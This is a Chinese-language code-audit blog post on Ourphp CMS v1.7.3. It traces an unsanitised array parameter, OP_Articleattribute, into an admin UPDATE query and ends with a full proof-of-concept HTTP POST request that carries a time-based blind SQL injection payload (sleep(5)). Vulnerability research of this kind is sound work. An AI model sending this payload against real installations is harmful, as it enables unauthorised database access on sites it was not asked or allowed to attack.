version:
<?php
/*******************************************************************************
* Ourphp - CMS建站系统
* Copyright (C) 2017 www.ourphp.net
* 开发者:哈尔滨伟成科技有限公司
*******************************************************************************/ $ourphp_version="v1.7.3";
$ourphp_versiondate="20170615";
$ourphp_weixin="close";
$ourphp_apps="close";
$ourphp_alifuwu="close"; ?>

首先看 index.php

加载了下面这些文件

include './config/ourphp_code.php';
include './config/ourphp_config.php';
include './config/ourphp_version.php';
include './config/ourphp_Language.php';
include './function/ourphp_function.class.php';
include './function/ourphp/Smarty.class.php';
include './function/ourphp_system.class.php';
include './function/ourphp_template.class.php';

其中 ourphp_function.class.php 为一些安全过滤函数

批量搜索 $_POST

挑了一处跟进去

\client\manage\ourphp_articleview.php  第71行

$query = $db -> update("`ourphp_article`","`OP_Articletitle` = '".admin_sql($_POST["OP_Articletitle"])."',`OP_Articleauthor` = '".admin_sql($_POST["OP_Articleauthor"])."',`OP_Articlesource` = '".admin_sql($_POST["OP_Articlesource"])."',`time` = '".date("Y-m-d H:i:s")."',`OP_Articlecontent` = '".admin_sql($_POST["OP_Articlecontent"])."',`OP_Tag` = '".$wordtag."',`OP_Class` = '".$OP_Articleclass[0]."',`OP_Lang` = '".$OP_Articleclass[1]."',`OP_Sorting` = '".admin_sql($_POST["OP_Articlesorting"])."',`OP_Attribute` = '".$OP_Articleattribute."',`OP_Url` = '".admin_sql($_POST["OP_Articleurl"])."',`OP_Description` = '".compress_html($OP_Articlecontent)."',`OP_Minimg` = '".$OP_Minimg."'","where id = ".intval($_GET['id']));

发现大部分参数都经过了 admin_sql 函数的处理,但是发现 $OP_Articleattribute 没有经过admin_sql的处理

搜索 $OP_Articleattribute 发现

\client\manage\ourphp_articleview.php  第47-51行

        if (!empty($_POST["OP_Articleattribute"])){
$OP_Articleattribute = implode(',',$_POST["OP_Articleattribute"]);
}else{
$OP_Articleattribute = '';
}

显然也没有经过处理

这里是update 的注入点  而且没有回显 所以不能用报错注入

根据上面对 $OP_Articleattribute 知道这里应该传入数组

监控sql语句为

update `ourphp_article` set `OP_Articletitle` = '世界,你好!',`OP_Articleauthor` = '',`OP_Articlesource` = '',`time` = '2017-08-10 12:05:16',`OP_Articlecontent` = '世界,你好!',`OP_Tag` = '',`OP_Class` = '3',`OP_Lang` = 'cn',`OP_Sorting` = '99',`OP_Attribute` = 'aaaaaaaaaaaaa,xxxxxxxxx'',`OP_Url` = '',`OP_Description` = '世界,你好!',`OP_Minimg` = 'skin/noimage.png' where id = 3

带入了单引号

最后给出poc

POST /client/manage/ourphp_articleview.php?ourphp_cms=edit&id=3&page=1 HTTP/1.1
Host: localhost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pnti0rkun1s1rrqhhl9n6lqdr1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 484 OP_Articleclass=3%7Ccn&OP_Articletitle=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articleauthor=&OP_Articlesource=&a_upimg=skin%2Fnoimage.png&OP_Articlecontent=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articlesorting=99&OP_Articleurl=&OP_Articletag=&OP_Articledescription=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&submit=%E6%8F%90%2B%E4%BA%A4&OP_Articleattribute[0]=aaaaaaaaaaaaa&OP_Articleattribute[1]=xxxxxxxxx' where 1=1 and sleep(5)-- -

最新文章

  1. mac 下设置jdk 路径,设置hadoop 路径
  2. 面向对象cookie增删查
  3. ffmpeg音频编码
  4. AngularJS的MVC中C的实现
  5. 一个Java应用,三种字体风格(Java, Windows, Mac),真是蛋疼
  6. onConfigurationChanged is not called&amp;&amp; 翻转屏幕不执行onConfigurationChanged方法&amp;&amp;onConfigurationChanged不执行
  7. CentOS6.4下使用默认的文档查看器打开PDF文档乱码的解决方案
  8. VMware虚拟机ping出现DUP!
  9. Deploy Oracle 10.2.0.5 on Red Hat Enterprise Linux 6.4
  10. [js笔记整理]DOM 篇
  11. express简介
  12. BZOJ2567 : 篱笆
  13. python 提取字符串中的指定字符 正则表达式
  14. Python基础理论 - 常用模块
  15. HDU - 2665 Kth number 主席树/可持久化权值线段树
  16. CAS集成oauth2协议的支持
  17. 【问题解决:启动卡死】Eclipse启动卡死的解决办法
  18. 解决RobotFramework的关键字不能高亮的问题
  19. Angular 2的表格控件
  20. JS 同一标签随机不停切换数据点菜--解决选择困难症

热门文章

  1. Android招聘市场技术要求越来越高,从事三年开发是否应该考虑转行?
  2. gRPC学习之三:初试GO版gRPC开发
  3. dubbo学习实践(2)之Dubbo入门Demo
  4. WPF基础:Dispatcher介绍
  5. iOS开发之HTTP断点续传
  6. Django静态文件配置 request对象 Django操作MySQL
  7. redis中使用SCAN代替KEYS
  8. commandBinding 的命令
  9. CrackMe-CFF Crackme #3
  10. mybatis主配置文件详解